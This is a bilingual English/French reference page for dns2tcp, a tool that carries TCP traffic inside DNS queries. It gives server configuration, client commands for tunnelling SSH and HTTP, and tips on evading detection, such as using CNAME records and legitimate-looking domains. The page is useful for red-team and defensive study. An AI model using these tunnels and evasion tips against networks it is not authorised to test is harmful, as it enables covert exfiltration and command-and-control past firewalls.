← retour aux outils back to tools

# dns2tcp

Outil de tunneling DNS pour le forwarding de trafic TCP. Encapsule des connexions TCP dans des requêtes DNS pour contourner les pare-feux qui autorisent le trafic DNS : crée des canaux cachés pour l'exfiltration de données ou le C2. DNS tunneling tool for TCP traffic forwarding. Encapsulates TCP connections inside DNS queries to bypass firewalls that allow DNS traffic — creates covert channels for data exfiltration or C2.

↗ https://github.com/alex-sector/dns2tcp

## Overview

dns2tcp tunnels TCP connections through DNS queries and responses. It encodes TCP data in DNS TXT records, allowing traffic to bypass firewalls that permit DNS. Used for egress tunneling, C2 channels, and accessing restricted services in locked-down environments.

## Setup (Requires DNS Server Authority)

    # You need:
    # 1. A domain you control (e.g., tunnel.example.com)
    # 2. An NS record pointing tunnel.example.com to your server
    # 3. The dns2tcp server running on that machine

    # DNS setup:
    # tunnel.example.com IN NS ns1.example.com
    # ns1.example.com IN A YOUR_SERVER_IP

## Server Setup

Install

    sudo apt install dns2tcp

    # Configuration file (/etc/dns2tcpd.conf):
    listen = 0.0.0.0
    port = 53
    user = nobody
    chroot = /tmp
    domain = tunnel.example.com
    resources = ssh:127.0.0.1:22, http:127.0.0.1:80

    dns2tcpd -f /etc/dns2tcpd.conf -F  # Foreground

    dns2tcpd -f /etc/dns2tcpd.conf     # Daemon

## Client Usage

Connect to server (DNS tunneling)

    dns2tcpc -r ssh -l 2222 -d tunnel.example.com -k secretkey

    # Tunnel SSH through DNS
    dns2tcpc -r ssh -l 2222 -d tunnel.example.com -k key
    ssh user@127.0.0.1 -p 2222

    # Tunnel HTTP
    dns2tcpc -r http -l 8080 -d tunnel.example.com -k key
    curl http://127.0.0.1:8080/

Tunnel without specific DNS server (uses system resolver)

    dns2tcpc -r ssh -l 2222 tunnel.example.com

## Options

    # Server (dns2tcpd):
    -f FILE     Config file
    -F          Foreground mode
    -d N        Debug level

    # Client (dns2tcpc):
    -r RESOURCE Resource name (from server config)
    -l PORT     Local listening port
    -d DOMAIN   Domain (server's domain)
    -k KEY      Encryption key
    -z RESOLVER DNS server to use
    -t TYPE     DNS record type (TXT, CNAME, KEY)

## Comparison with dnscat2

    # dns2tcp:
    # + Stable TCP forwarding
    # + Specific resource forwarding (SSH, HTTP, etc.)
    # - Requires domain + NS record
    # - Less feature-rich C2

    # dnscat2:
    # + Full C2 shell
    # + Works without domain (direct IP mode)
    # + Encrypted by default
    # - More detectable

## Tips

- DNS tunneling is slow — suitable for interactive SSH but not file transfers
- Many enterprise DNS proxies inspect/block DNS tunneling traffic patterns
- Using CNAME records (`-t CNAME`) may be less suspicious than TXT queries
- Set up a legitimate-looking domain name for OPSEC
- Combine with iodine (alternative DNS tunnel) for different detection profiles

Help / Man page

    dns2tcpd [options] (server)
      -f FILE   Config file
      -F        Foreground
      -d N      Debug level (0-3)

    dns2tcpc [options] domain (client)
      -r RES    Resource to use
      -l PORT   Local port
      -d DOMAIN Server domain
      -k KEY    Encryption key
      -z DNS    Use specific DNS resolver
      -t TYPE   Record type: TXT, CNAME, KEY
      -T N      Timeout

## Vue d’ensemble

dns2tcp tunnelise des connexions TCP à travers des requêtes et réponses DNS. Il encode les données TCP dans des enregistrements DNS TXT, permettant au trafic de contourner les pare-feux qui autorisent le DNS. Utilisé pour du tunneling en sortie, des canaux C2, et l’accès à des services restreints dans des environnements verrouillés.

## Mise en place (nécessite l’autorité sur un serveur DNS)

    # Il vous faut :
    # 1. Un domaine que vous contrôlez (par ex. tunnel.example.com)
    # 2. Un enregistrement NS pointant tunnel.example.com vers votre serveur
    # 3. Le serveur dns2tcp qui tourne sur cette machine

    # Configuration DNS :
    # tunnel.example.com IN NS ns1.example.com
    # ns1.example.com IN A YOUR_SERVER_IP

## Mise en place du serveur

    # Installer
    sudo apt install dns2tcp

    # Fichier de configuration (/etc/dns2tcpd.conf) :
    listen = 0.0.0.0
    port = 53
    user = nobody
    chroot = /tmp
    domain = tunnel.example.com
    resources = ssh:127.0.0.1:22, http:127.0.0.1:80

    dns2tcpd -f /etc/dns2tcpd.conf -F  # Premier plan

    dns2tcpd -f /etc/dns2tcpd.conf     # Démon

## Utilisation du client

    # Se connecter au serveur (tunneling DNS)
    dns2tcpc -r ssh -l 2222 -d tunnel.example.com -k secretkey

    # Tunneliser SSH à travers le DNS
    dns2tcpc -r ssh -l 2222 -d tunnel.example.com -k key
    ssh user@127.0.0.1 -p 2222

    # Tunneliser HTTP
    dns2tcpc -r http -l 8080 -d tunnel.example.com -k key
    curl http://127.0.0.1:8080/

    # Tunneliser sans serveur DNS précis (utilise le resolver système)
    dns2tcpc -r ssh -l 2222 tunnel.example.com

## Options

    # Serveur (dns2tcpd) :
    -f FILE     Config file
    -F          Foreground mode
    -d N        Debug level

    # Client (dns2tcpc) :
    -r RESOURCE Resource name (from server config)
    -l PORT     Local listening port
    -d DOMAIN   Domain (server's domain)
    -k KEY      Encryption key
    -z RESOLVER DNS server to use
    -t TYPE     DNS record type (TXT, CNAME, KEY)

## Comparaison avec dnscat2

    # dns2tcp :
    # + Forwarding TCP stable
    # + Forwarding de ressources précises (SSH, HTTP, etc.)
    # - Nécessite un domaine + un enregistrement NS
    # - C2 moins riche en fonctionnalités

    # dnscat2 :
    # + Shell C2 complet
    # + Fonctionne sans domaine (mode IP direct)
    # + Chiffré par défaut
    # - Plus détectable

## Conseils

- Le tunneling DNS est lent : adapté au SSH interactif mais pas aux transferts de fichiers
- Beaucoup de proxys DNS d’entreprise inspectent/bloquent les motifs de trafic de tunneling DNS
- Utiliser des enregistrements CNAME (`-t CNAME`) peut être moins suspect que des requêtes TXT
- Mettez en place un nom de domaine d’apparence légitime pour l’OPSEC
- Combinez avec iodine (autre tunnel DNS) pour des profils de détection différents

Aide / Page de manuel

    dns2tcpd [options] (server)
      -f FILE   Config file
      -F        Foreground
      -d N      Debug level (0-3)

    dns2tcpc [options] domain (client)
      -r RES    Resource to use
      -l PORT   Local port
      -d DOMAIN Server domain
      -k KEY    Encryption key
      -z DNS    Use specific DNS resolver
      -t TYPE   Record type: TXT, CNAME, KEY
      -T N      Timeout